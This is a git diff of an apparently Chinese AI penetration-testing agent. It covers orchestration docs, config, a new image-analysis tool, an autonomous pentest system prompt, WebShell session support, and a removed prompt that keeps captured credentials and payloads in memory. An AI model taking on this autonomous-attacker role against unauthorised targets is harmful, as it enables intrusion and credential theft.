|
||||||
# default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID
|
# default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID
|
||||||
fact_index_max_runes: 3500
|
fact_index_max_runes: 6500
|
||||||
fact_summary_max_runes: 240
|
fact_summary_max_runes: 2400
|
||||||
default_inject_deprecated: false
|
default_inject_deprecated: false
|
||||||
|
|
||||||
|
|||||||
@@ -1,30 +1,30 @@
|
|||||||
# Eino 多代理改造说明(DeepAgent)
|
# Eino 多代理改造说明(DeepAgent)
|
||||||
|
|
||||||
本文档记录 **单 Agent(原有 ReAct)** 与 **多 Agent(CloudWeGo Eino `adk/prebuilt/deep`)** 并存的改造范围、进度与后续事项。
|
本文档记录 **Eino 单代理(ADK)** 与 **多 Agent(CloudWeGo Eino `adk/prebuilt`)** 的改造范围、进度与后续事项。原生 ReAct 执行路径已移除。
|
||||||
|
|
||||||
## 总体结论
|
## 总体结论
|
||||||
|
|
||||||
- **改造已可用于生产试验**:流式对话、MCP 工具桥接、配置开关、前端模式切换均已落地。
|
- **改造已可用于生产试验**:流式对话、MCP 工具桥接、配置开关、前端模式切换均已落地。
|
||||||
- **入口策略**:主聊天与 WebShell 在开启多代理且用户选择 **Deep / Plan-Execute / Supervisor** 时走 `/api/multi-agent/stream`,请求体字段 **`orchestration`** 指定当次编排(与界面一致);**原生 ReAct** 走 `/api/agent-loop/stream`。机器人、批量任务无该请求体时服务端按 **`deep`** 执行。均需 `multi_agent.enabled`。
|
- **入口策略**:**单代理** 走 `/api/eino-agent/stream`;多代理(**Deep / Plan-Execute / Supervisor**)走 `/api/multi-agent/stream`,请求体 **`orchestration`** 指定编排。机器人默认 `robot_default_agent_mode: eino_single`;批量队列默认 `eino_single`,多代理模式需 `multi_agent.enabled`。
|
||||||
|
|
||||||
## 已完成项
|
## 已完成项
|
||||||
|
|
||||||
| 项 | 说明 |
|
| 项 | 说明 |
|
||||||
|----|------|
|
|----|------|
|
||||||
| 依赖与代理 | `go.mod` 直接依赖 `github.com/cloudwego/eino`、`eino-ext/.../openai`;`go.mod` 注释与 `scripts/bootstrap-go.sh` 指导 **GOPROXY**(如 `https://goproxy.cn,direct`)。 |
|
| 依赖与代理 | `go.mod` 直接依赖 `github.com/cloudwego/eino`、`eino-ext/.../openai`;`go.mod` 注释与 `scripts/bootstrap-go.sh` 指导 **GOPROXY**(如 `https://goproxy.cn,direct`)。 |
|
||||||
| 配置 | `config.yaml` → `multi_agent`:`enabled`、`robot_use_multi_agent`、`max_iteration`、`sub_agents`(含可选 `bind_role`)、`eino_skills`、`eino_middleware` 等;结构体见 `internal/config/config.go`。 |
|
| 配置 | `config.yaml` → `agent.max_iterations` 为全局 ReAct 上限(主/子代理统一);`multi_agent`:`enabled`、`robot_use_multi_agent`、`sub_agents`(含可选 `bind_role`)、`eino_skills`、`eino_middleware` 等;结构体见 `internal/config/config.go`。 |
|
||||||
| Markdown 子代理 / 主代理 | 在 `agents_dir` 下放 `*.md`。**子代理**:供 Deep `task` 与 `supervisor` `transfer`。**主代理(按模式分离)**:`orchestrator.md`(或 `kind: orchestrator` 的**单个**其他 .md)→ **Deep**;固定名 `orchestrator-plan-execute.md` → **plan_execute**;固定名 `orchestrator-supervisor.md` → **supervisor**。正文优先于 YAML:`multi_agent.orchestrator_instruction`、`orchestrator_instruction_plan_execute`、`orchestrator_instruction_supervisor`;plan_execute / supervisor **不会**回退到 Deep 的 `orchestrator_instruction`。皆空时 plan_execute / supervisor 使用代码内置默认提示。管理:**Agents → Agent管理**;API:`/api/multi-agent/markdown-agents*`。 |
|
| Markdown 子代理 / 主代理 | 在 `agents_dir` 下放 `*.md`。**子代理**:供 Deep `task` 与 `supervisor` `transfer`。**主代理(按模式分离)**:`orchestrator.md`(或 `kind: orchestrator` 的**单个**其他 .md)→ **Deep**;固定名 `orchestrator-plan-execute.md` → **plan_execute**;固定名 `orchestrator-supervisor.md` → **supervisor**。正文优先于 YAML:`multi_agent.orchestrator_instruction`、`orchestrator_instruction_plan_execute`、`orchestrator_instruction_supervisor`;plan_execute / supervisor **不会**回退到 Deep 的 `orchestrator_instruction`。皆空时 plan_execute / supervisor 使用代码内置默认提示。管理:**Agents → Agent管理**;API:`/api/multi-agent/markdown-agents*`。 |
|
||||||
| MCP 桥 | `internal/einomcp`:`ToolsFromDefinitions` + 会话 ID 持有者,执行走 `Agent.ExecuteMCPToolForConversation`。 |
|
| MCP 桥 | `internal/einomcp`:`ToolsFromDefinitions` + 会话 ID 持有者,执行走 `Agent.ExecuteMCPToolForConversation`。 |
|
||||||
| 编排 | `internal/multiagent/runner.go`:`deep.New` + 子 `ChatModelAgent` + `adk.NewRunner`(`EnableStreaming: true`,可选 `CheckPointStore`),事件映射为现有 SSE `tool_call` / `response_delta` 等。 |
|
| 编排 | `internal/multiagent/runner.go`:`deep.New` + 子 `ChatModelAgent` + `adk.NewRunner`(`EnableStreaming: true`,可选 `CheckPointStore`),事件映射为现有 SSE `tool_call` / `response_delta` 等。 |
|
||||||
| HTTP | `POST /api/multi-agent`(非流式)、`POST /api/multi-agent/stream`(SSE);路由**常注册**,是否可用由运行时 `multi_agent.enabled` 决定(流式未启用时 SSE 内 `error` + `done`)。 |
|
| HTTP | `POST /api/multi-agent`(非流式)、`POST /api/multi-agent/stream`(SSE);路由**常注册**,是否可用由运行时 `multi_agent.enabled` 决定(流式未启用时 SSE 内 `error` + `done`)。 |
|
||||||
| 会话准备 | `internal/handler/multi_agent_prepare.go`:`prepareMultiAgentSession`(含 **WebShell** `CreateConversationWithWebshell`、工具白名单与单代理一致)。 |
|
| 会话准备 | `internal/handler/multi_agent_prepare.go`:`prepareMultiAgentSession`(含 **WebShell** `CreateConversationWithWebshell`、工具白名单与单代理一致)。 |
|
||||||
| 单 Agent | `internal/agent` 增加 `ToolsForRole`、`ExecuteMCPToolForConversation`;原 `/api/agent-loop` 未删改语义。 |
|
| 单 Agent | `internal/agent` 为 MCP/工具层(`ToolsForRole`、`ExecuteMCPToolForConversation`);单代理编排走 `RunEinoSingleChatModelAgent`(`/api/eino-agent*`)。 |
|
||||||
| 前端 | 主聊天 / WebShell:`multi_agent.enabled` 时可选 **原生 ReAct** 与三种 Eino 命名,多代理路径在 JSON 中带 `orchestration`。设置页不再配置预置编排项;`plan_execute` 外层循环上限等仍可在设置中保存。 |
|
| 前端 | 主聊天 / WebShell:**Eino 单代理**(`/api/eino-agent/stream`)与 **Deep / Plan-Execute / Supervisor**(`/api/multi-agent/stream` + `orchestration`);`multi_agent.enabled` 控制多代理选项是否展示。 |
|
||||||
| 流式兼容 | 与 `/api/agent-loop/stream` 共用 `handleStreamEvent`:`conversation`、`progress`、`response_start` / `response_delta`、`thinking` / `thinking_stream_*`(模型 `ReasoningContent`)、`tool_*`、`response`、`done` 等;`tool_result` 带 `toolCallId` 与 `tool_call` 联动;`data.mcpExecutionIds` 与进度 i18n 已对齐。 |
|
| 流式兼容 | Eino 单/多代理与 Web UI 共用 `handleStreamEvent`:`conversation`、`progress`、`response_start` / `response_delta`、`thinking` / `thinking_stream_*`、`tool_*`、`response`、`done` 等。 |
|
||||||
| 批量任务 | 队列 `agentMode` 为 `deep` / `plan_execute` / `supervisor` 时子任务带对应 `orchestration` 调用 `RunDeepAgent`;旧值 `multi` 与「`agentMode` 为空且 `batch_use_multi_agent: true`」均按 `deep`。 |
|
| 批量任务 | 队列 `agentMode` 为 `deep` / `plan_execute` / `supervisor` 时子任务带对应 `orchestration` 调用 `RunDeepAgent`;旧值 `multi` 与「`agentMode` 为空且 `batch_use_multi_agent: true`」均按 `deep`。 |
|
||||||
| 配置 API | `GET /api/config` 返回 `multi_agent: { enabled, robot_use_multi_agent, sub_agent_count }`;`PUT /api/config` 可更新 `enabled`、`robot_use_multi_agent`(不覆盖 `sub_agents`)。 |
|
| 配置 API | `GET /api/config` 返回 `multi_agent: { enabled, robot_use_multi_agent, sub_agent_count }`;`PUT /api/config` 可更新 `enabled`、`robot_use_multi_agent`(不覆盖 `sub_agents`)。 |
|
||||||
| OpenAPI | 多代理路径说明已更新(流式未启用为 SSE 错误事件)。 |
|
| OpenAPI | 多代理路径说明已更新(流式未启用为 SSE 错误事件)。 |
|
||||||
| 机器人 | `ProcessMessageForRobot` 在 `enabled && robot_use_multi_agent` 时调用 `multiagent.RunDeepAgent`。 |
|
| 机器人 | `ProcessMessageForRobot` 按 `robot_default_agent_mode`(默认 `eino_single`)调用 `RunEinoSingleChatModelAgent` 或 `RunDeepAgent`。 |
|
||||||
| 预置编排 | 聊天 / WebShell:`POST /api/multi-agent*` 请求体 `orchestration`:`deep` \| `plan_execute` \| `supervisor`(缺省 `deep`)。`plan_execute` 不构建 YAML/Markdown 子代理;`plan_execute_loop_max_iterations` 仍来自配置。`supervisor` 至少需一个子代理。 |
|
| 预置编排 | 聊天 / WebShell:`POST /api/multi-agent*` 请求体 `orchestration`:`deep` \| `plan_execute` \| `supervisor`(缺省 `deep`)。`plan_execute` 不构建 YAML/Markdown 子代理;`plan_execute_loop_max_iterations` 仍来自配置。`supervisor` 至少需一个子代理。 |
|
||||||
| Eino 中间件 | `multi_agent.eino_middleware`(可选):`patchtoolcalls`(默认开)、`toolsearch`(按阈值拆分 MCP 工具列表)、`plantask`(需 `eino_skills`)、`reduction`(大工具输出截断/落盘)、`checkpoint_dir`(Runner 断点)、`deep_output_key` / `deep_model_retry_max_retries` / `task_tool_description_prefix`(Deep 与 supervisor 主代理共享其中模型重试与 OutputKey)。`plan_execute` 的 Executor 无 Handlers:仅继承 **ToolsConfig** 侧效果(如 `tool_search` 列表拆分),不挂载 patch/plantask/reduction 中间件。 |
|
| Eino 中间件 | `multi_agent.eino_middleware`(可选):`patchtoolcalls`(默认开)、`toolsearch`(按阈值拆分 MCP 工具列表)、`plantask`(需 `eino_skills`)、`reduction`(大工具输出截断/落盘)、`checkpoint_dir`(Runner 断点)、`deep_output_key` / `deep_model_retry_max_retries` / `task_tool_description_prefix`(Deep 与 supervisor 主代理共享其中模型重试与 OutputKey)。`plan_execute` 的 Executor 无 Handlers:仅继承 **ToolsConfig** 侧效果(如 `tool_search` 列表拆分),不挂载 patch/plantask/reduction 中间件。 |
|
||||||
|
|
||||||
@@ -59,3 +59,4 @@
|
|||||||
| 2026-03-22 | `orchestrator.md` / `kind: orchestrator` 主代理、列表主/子标记、与 `orchestrator_instruction` 优先级。 |
|
| 2026-03-22 | `orchestrator.md` / `kind: orchestrator` 主代理、列表主/子标记、与 `orchestrator_instruction` 优先级。 |
|
||||||
| 2026-04-19 | 主聊天「对话模式」:原生 ReAct 与 Deep / Plan-Execute / Supervisor;`POST /api/multi-agent*` 请求体 `orchestration` 与界面一致;`config.yaml` / 设置页不再维护预置编排字段(机器人/批量默认 `deep`)。 |
|
| 2026-04-19 | 主聊天「对话模式」:原生 ReAct 与 Deep / Plan-Execute / Supervisor;`POST /api/multi-agent*` 请求体 `orchestration` 与界面一致;`config.yaml` / 设置页不再维护预置编排字段(机器人/批量默认 `deep`)。 |
|
||||||
| 2026-04-21 | 移除角色 `skills` 与 `/api/roles/skills/list`;`bind_role` 仅继承 tools;Skills 仅通过 Eino `skill` 工具按需加载。 |
|
| 2026-04-21 | 移除角色 `skills` 与 `/api/roles/skills/list`;`bind_role` 仅继承 tools;Skills 仅通过 Eino `skill` 工具按需加载。 |
|
||||||
|
| 2026-06-02 | **移除原生 ReAct**:删除 `/api/agent-loop*` 执行入口与 `AgentLoopWithProgress`;统一 Eino ADK(单代理 `/api/eino-agent*`,多代理 `/api/multi-agent*`);任务 cancel/tasks API 保留。 |
|
||||||
|
|||||||
@@ -0,0 +1,45 @@
|
|||||||
|
# 视觉分析(analyze_image)
|
||||||
|
|
||||||
|
## 概述
|
||||||
|
|
||||||
|
- **工具名**:`analyze_image`(MCP 内置)
|
||||||
|
- **行为**:读取本地图片 → `imaging` 缩放/JPEG 压缩 → 调用独立 **Vision** 模型 → 返回**纯文本**给 Agent
|
||||||
|
- **上下文**:图片字节**不会**写入对话历史;仅路径与文字摘要进入 Agent 上下文
|
||||||
|
|
||||||
|
## 配置(`config.yaml` → `vision`)
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
vision:
|
||||||
|
enabled: true
|
||||||
|
model: qwen-vl-max # 必填
|
||||||
|
api_key: # 留空 → openai.api_key
|
||||||
|
base_url: # 留空 → openai.base_url
|
||||||
|
provider: # 留空 → openai.provider
|
||||||
|
max_image_bytes: 5242880
|
||||||
|
max_dimension: 2048
|
||||||
|
jpeg_quality: 82
|
||||||
|
max_payload_bytes: 524288
|
||||||
|
skip_preprocess_below_bytes: 2097152 # 低于 2MB 且长边<=max_dimension 时原图直传;0=始终 JPEG 压缩
|
||||||
|
detail: low # low | high | auto
|
||||||
|
timeout_seconds: 60
|
||||||
|
```
|
||||||
|
|
||||||
|
`enabled: false` 时不注册工具。
|
||||||
|
|
||||||
|
## Web 设置
|
||||||
|
|
||||||
|
**系统设置 → 基本设置 → 视觉分析(analyze_image)** 可配置启用开关、视觉模型、API Key/Base URL(留空复用 OpenAI)、预处理参数;**保存并应用** 后写入 `config.yaml` 并重新注册 MCP 工具。
|
||||||
|
|
||||||
|
## 路径
|
||||||
|
|
||||||
|
`analyze_image` 可读取服务器上任意可读的图片文件路径(绝对路径或相对于进程工作目录的相对路径)。仍校验图片扩展名与常规文件类型。
|
||||||
|
|
||||||
|
## Agent 使用
|
||||||
|
|
||||||
|
系统提示已说明:遇图片调用 `analyze_image`,勿用 `read_file` 读二进制图。
|
||||||
|
|
||||||
|
`multi_agent.eino_middleware.tool_search_always_visible_tools` 建议包含 `analyze_image`。
|
||||||
|
|
||||||
|
## 合规
|
||||||
|
|
||||||
|
启用后图片会发往 Vision API 配置的上游;敏感环境请使用可信网关或保持 `enabled: false`。
|
||||||
+1
-1
@@ -272,4 +272,4 @@ curl -X POST "http://localhost:8080/api/robot/test" \
|
|||||||
|
|
||||||
- 钉钉、飞书均**仅处理文本消息**;其他类型(如图片、语音)会提示暂不支持或忽略。
|
- 钉钉、飞书均**仅处理文本消息**;其他类型(如图片、语音)会提示暂不支持或忽略。
|
||||||
- 会话与 Web 端共用同一套对话数据:在机器人里创建的对话会在 Web 端「对话」列表中看到,反之亦然。
|
- 会话与 Web 端共用同一套对话数据:在机器人里创建的对话会在 Web 端「对话」列表中看到,反之亦然。
|
||||||
- 机器人执行逻辑与 **`/api/agent-loop/stream`** 一致(含进度回调、过程详情写入数据库),仅不向客户端推送 SSE,最后将完整回复一次性发回钉钉/飞书/企业微信。
|
- 机器人执行与 **Eino 单/多代理** 相同逻辑(`ProcessMessageForRobot`,含进度回调与过程详情入库),仅不向客户端推送 SSE,最后一次性回复钉钉/飞书/企业微信。默认 `robot_default_agent_mode: eino_single`。
|
||||||
|
|||||||
+1
-1
@@ -269,4 +269,4 @@ Check in this order:
|
|||||||
|
|
||||||
- DingTalk and Lark: **text messages only**; other types (e.g. image, voice) are not supported and may be ignored.
|
- DingTalk and Lark: **text messages only**; other types (e.g. image, voice) are not supported and may be ignored.
|
||||||
- Conversations are shared with the web UI: conversations created from the bot appear in the web “Conversations” list and vice versa.
|
- Conversations are shared with the web UI: conversations created from the bot appear in the web “Conversations” list and vice versa.
|
||||||
- Bot execution uses the same logic as **`/api/agent-loop/stream`** (progress callbacks, process details stored in the DB); only the final reply is sent back to DingTalk/Lark in one message (no SSE to the client).
|
- Bot execution uses the same **Eino single/multi-agent** path as the web UI (`ProcessMessageForRobot`, with progress callbacks and process details stored in the DB); only the final reply is sent back to DingTalk/Lark in one message (no SSE). Default: `robot_default_agent_mode: eino_single`.
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ require (
|
|||||||
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
|
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
|
||||||
github.com/cloudwego/eino-ext/components/model/openai v0.1.13
|
github.com/cloudwego/eino-ext/components/model/openai v0.1.13
|
||||||
github.com/creack/pty v1.1.24
|
github.com/creack/pty v1.1.24
|
||||||
|
github.com/disintegration/imaging v1.6.2
|
||||||
github.com/eino-contrib/jsonschema v1.0.3
|
github.com/eino-contrib/jsonschema v1.0.3
|
||||||
github.com/gin-gonic/gin v1.9.1
|
github.com/gin-gonic/gin v1.9.1
|
||||||
github.com/google/uuid v1.6.0
|
github.com/google/uuid v1.6.0
|
||||||
@@ -90,6 +91,7 @@ require (
|
|||||||
golang.org/x/arch v0.15.0 // indirect
|
golang.org/x/arch v0.15.0 // indirect
|
||||||
golang.org/x/crypto v0.39.0 // indirect
|
golang.org/x/crypto v0.39.0 // indirect
|
||||||
golang.org/x/exp v0.0.0-20250305212735-054e65f0b394 // indirect
|
golang.org/x/exp v0.0.0-20250305212735-054e65f0b394 // indirect
|
||||||
|
golang.org/x/image v0.0.0-20191009234506-e7c1f5e7dbb8 // indirect
|
||||||
golang.org/x/oauth2 v0.30.0 // indirect
|
golang.org/x/oauth2 v0.30.0 // indirect
|
||||||
golang.org/x/sys v0.33.0 // indirect
|
golang.org/x/sys v0.33.0 // indirect
|
||||||
google.golang.org/genproto/googleapis/api v0.0.0-20250115164207-1a7da9e5054f // indirect
|
google.golang.org/genproto/googleapis/api v0.0.0-20250115164207-1a7da9e5054f // indirect
|
||||||
|
|||||||
@@ -43,6 +43,8 @@ github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfv
|
|||||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/disintegration/imaging v1.6.2 h1:w1LecBlG2Lnp8B3jk5zSuNqd7b4DXhcjwek1ei82L+c=
|
||||||
|
github.com/disintegration/imaging v1.6.2/go.mod h1:44/5580QXChDfwIclfc/PCwrr44amcmDAg8hxG0Ewe4=
|
||||||
github.com/dlclark/regexp2 v1.10.0 h1:+/GIL799phkJqYW+3YbOd8LCcbHzT0Pbo8zl70MHsq0=
|
github.com/dlclark/regexp2 v1.10.0 h1:+/GIL799phkJqYW+3YbOd8LCcbHzT0Pbo8zl70MHsq0=
|
||||||
github.com/dlclark/regexp2 v1.10.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
|
github.com/dlclark/regexp2 v1.10.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
|
||||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||||
@@ -240,6 +242,8 @@ golang.org/x/crypto v0.39.0 h1:SHs+kF4LP+f+p14esP5jAoDpHU8Gu/v9lFRK6IT5imM=
|
|||||||
golang.org/x/crypto v0.39.0/go.mod h1:L+Xg3Wf6HoL4Bn4238Z6ft6KfEpN0tJGo53AAPC632U=
|
golang.org/x/crypto v0.39.0/go.mod h1:L+Xg3Wf6HoL4Bn4238Z6ft6KfEpN0tJGo53AAPC632U=
|
||||||
golang.org/x/exp v0.0.0-20250305212735-054e65f0b394 h1:nDVHiLt8aIbd/VzvPWN6kSOPE7+F/fNFDSXLVYkE/Iw=
|
golang.org/x/exp v0.0.0-20250305212735-054e65f0b394 h1:nDVHiLt8aIbd/VzvPWN6kSOPE7+F/fNFDSXLVYkE/Iw=
|
||||||
golang.org/x/exp v0.0.0-20250305212735-054e65f0b394/go.mod h1:sIifuuw/Yco/y6yb6+bDNfyeQ/MdPUy/hKEMYQV17cM=
|
golang.org/x/exp v0.0.0-20250305212735-054e65f0b394/go.mod h1:sIifuuw/Yco/y6yb6+bDNfyeQ/MdPUy/hKEMYQV17cM=
|
||||||
|
golang.org/x/image v0.0.0-20191009234506-e7c1f5e7dbb8 h1:hVwzHzIUGRjiF7EcUjqNxk3NCfkPxbDKRdnNE1Rpg0U=
|
||||||
|
golang.org/x/image v0.0.0-20191009234506-e7c1f5e7dbb8/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
|
||||||
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||||
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 182 KiB After Width: | Height: | Size: 262 KiB |
+1064
File diff suppressed because it is too large
Load Diff
+3
-1035
File diff suppressed because it is too large
Load Diff
@@ -4,7 +4,7 @@ import (
|
|||||||
"cyberstrike-ai/internal/project"
|
"cyberstrike-ai/internal/project"
|
||||||
)
|
)
|
||||||
|
|
||||||
// DefaultSingleAgentSystemPrompt 单代理(ReAct / MCP)内置系统提示;可通过 agent.system_prompt_path 覆盖为文件。
|
// DefaultSingleAgentSystemPrompt 单代理(Eino ADK / MCP)内置系统提示;可通过 agent.system_prompt_path 覆盖为文件。
|
||||||
func DefaultSingleAgentSystemPrompt() string {
|
func DefaultSingleAgentSystemPrompt() string {
|
||||||
return `你是CyberStrikeAI,是一个专业的网络安全渗透测试专家。你可以使用各种安全工具进行自主渗透测试。分析目标并选择最佳测试策略。
|
return `你是CyberStrikeAI,是一个专业的网络安全渗透测试专家。你可以使用各种安全工具进行自主渗透测试。分析目标并选择最佳测试策略。
|
||||||
|
|
||||||
@@ -112,6 +112,6 @@ func DefaultSingleAgentSystemPrompt() string {
|
|||||||
## 技能库(Skills)与知识库
|
## 技能库(Skills)与知识库
|
||||||
|
|
||||||
- 技能包位于服务器 skills/ 目录(各子目录 SKILL.md,遵循 agentskills.io);知识库用于向量检索片段,Skills 为可执行工作流指令。
|
- 技能包位于服务器 skills/ 目录(各子目录 SKILL.md,遵循 agentskills.io);知识库用于向量检索片段,Skills 为可执行工作流指令。
|
||||||
- 单代理本会话通过 MCP 使用知识库与漏洞记录等;Skills 的渐进式加载在「多代理 / Eino DeepAgent」中由内置 skill 工具完成(需在配置中启用 multi_agent.eino_skills)。
|
- 本会话通过 MCP 使用知识库与漏洞记录等。Skills 由 Eino ADK skill 工具按需加载(配置 multi_agent.eino_skills;单代理与多代理均可,未启用时无 skill 工具)。
|
||||||
- 若当前无 skill 工具,需要完整 Skill 工作流时请使用多代理模式或切换为 Eino 编排会话(亦可选 Eino ADK 单代理路径 /api/eino-agent)。`
|
- 需要完整 Skill 工作流但当前无 skill 工具时,请确认已启用 multi_agent.eino_skills,或改用 Deep / Supervisor 等多代理编排(/api/multi-agent/stream)。`
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,491 +0,0 @@
|
|||||||
package agent
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"net/http"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"cyberstrike-ai/internal/config"
|
|
||||||
"cyberstrike-ai/internal/openai"
|
|
||||||
|
|
||||||
"github.com/pkoukk/tiktoken-go"
|
|
||||||
"go.uber.org/zap"
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
// DefaultMinRecentMessage 压缩历史消息时保留的最近消息数量,确保最近的对话上下文不被压缩
|
|
||||||
DefaultMinRecentMessage = 5
|
|
||||||
// defaultChunkSize 压缩历史消息时每次处理的消息块大小,将旧消息分成多个块进行摘要
|
|
||||||
defaultChunkSize = 10
|
|
||||||
// defaultMaxImages 压缩时最多保留的图片数量,超过此数量的图片会被移除以节省上下文空间
|
|
||||||
defaultMaxImages = 3
|
|
||||||
// defaultSummaryTimeout 生成消息摘要时的超时时间
|
|
||||||
defaultSummaryTimeout = 10 * time.Minute
|
|
||||||
|
|
||||||
summaryPromptTemplate = `你是一名负责为安全代理执行上下文压缩的助手,任务是在保持所有关键渗透信息完整的前提下压缩扫描数据。
|
|
||||||
|
|
||||||
必须保留的关键信息:
|
|
||||||
- 已发现的漏洞与潜在攻击路径
|
|
||||||
- 扫描结果与工具输出(可压缩,但需保留核心发现)
|
|
||||||
- 获取到的访问凭证、令牌或认证细节
|
|
||||||
- 系统架构洞察与潜在薄弱点
|
|
||||||
- 当前评估进展
|
|
||||||
- 失败尝试与死路(避免重复劳动)
|
|
||||||
- 关于测试策略的所有决策记录
|
|
||||||
|
|
||||||
压缩指南:
|
|
||||||
- 保留精确技术细节(URL、路径、参数、Payload 等)
|
|
||||||
- 将冗长的工具输出压缩成概述,但保留关键发现
|
|
||||||
- 记录版本号与识别出的技术/组件信息
|
|
||||||
- 保留可能暗示漏洞的原始报错
|
|
||||||
- 将重复或相似发现整合成一条带有共性说明的结论
|
|
||||||
|
|
||||||
请牢记:另一位安全代理会依赖这份摘要继续测试,他必须在不损失任何作战上下文的情况下无缝接手。
|
|
||||||
|
|
||||||
需要压缩的对话片段:
|
|
||||||
%s
|
|
||||||
|
|
||||||
请给出技术精准且简明扼要的摘要,覆盖全部与安全评估相关的上下文。`
|
|
||||||
)
|
|
||||||
|
|
||||||
// MemoryCompressor 负责在调用LLM前压缩历史上下文,以避免Token爆炸。
|
|
||||||
type MemoryCompressor struct {
|
|
||||||
maxTotalTokens int
|
|
||||||
minRecentMessage int
|
|
||||||
maxImages int
|
|
||||||
chunkSize int
|
|
||||||
summaryModel string
|
|
||||||
timeout time.Duration
|
|
||||||
|
|
||||||
tokenCounter TokenCounter
|
|
||||||
completionClient CompletionClient
|
|
||||||
logger *zap.Logger
|
|
||||||
}
|
|
||||||
|
|
||||||
// MemoryCompressorConfig 用于初始化 MemoryCompressor。
|
|
||||||
type MemoryCompressorConfig struct {
|
|
||||||
MaxTotalTokens int
|
|
||||||
MinRecentMessage int
|
|
||||||
MaxImages int
|
|
||||||
ChunkSize int
|
|
||||||
SummaryModel string
|
|
||||||
Timeout time.Duration
|
|
||||||
TokenCounter TokenCounter
|
|
||||||
CompletionClient CompletionClient
|
|
||||||
Logger *zap.Logger
|
|
||||||
|
|
||||||
// 当 CompletionClient 为空时,可以通过 OpenAIConfig + HTTPClient 构造默认的客户端。
|
|
||||||
OpenAIConfig *config.OpenAIConfig
|
|
||||||
HTTPClient *http.Client
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewMemoryCompressor 创建新的 MemoryCompressor。
|
|
||||||
func NewMemoryCompressor(cfg MemoryCompressorConfig) (*MemoryCompressor, error) {
|
|
||||||
if cfg.Logger == nil {
|
|
||||||
cfg.Logger = zap.NewNop()
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果没有显式配置 MaxTotalTokens,则后续逻辑会根据模型的最大上下文长度进行控制;
|
|
||||||
// 优先推荐在 config.yaml 的 openai.max_total_tokens 中统一配置。
|
|
||||||
if cfg.MinRecentMessage <= 0 {
|
|
||||||
cfg.MinRecentMessage = DefaultMinRecentMessage
|
|
||||||
}
|
|
||||||
if cfg.MaxImages <= 0 {
|
|
||||||
cfg.MaxImages = defaultMaxImages
|
|
||||||
}
|
|
||||||
if cfg.ChunkSize <= 0 {
|
|
||||||
cfg.ChunkSize = defaultChunkSize
|
|
||||||
}
|
|
||||||
if cfg.Timeout <= 0 {
|
|
||||||
cfg.Timeout = defaultSummaryTimeout
|
|
||||||
}
|
|
||||||
if cfg.SummaryModel == "" && cfg.OpenAIConfig != nil && cfg.OpenAIConfig.Model != "" {
|
|
||||||
cfg.SummaryModel = cfg.OpenAIConfig.Model
|
|
||||||
}
|
|
||||||
if cfg.SummaryModel == "" {
|
|
||||||
return nil, errors.New("summary model is required (either SummaryModel or OpenAIConfig.Model must be set)")
|
|
||||||
}
|
|
||||||
if cfg.TokenCounter == nil {
|
|
||||||
cfg.TokenCounter = NewTikTokenCounter()
|
|
||||||
}
|
|
||||||
|
|
||||||
if cfg.CompletionClient == nil {
|
|
||||||
if cfg.OpenAIConfig == nil {
|
|
||||||
return nil, errors.New("memory compressor requires either CompletionClient or OpenAIConfig")
|
|
||||||
}
|
|
||||||
if cfg.HTTPClient == nil {
|
|
||||||
cfg.HTTPClient = &http.Client{
|
|
||||||
Timeout: 5 * time.Minute,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
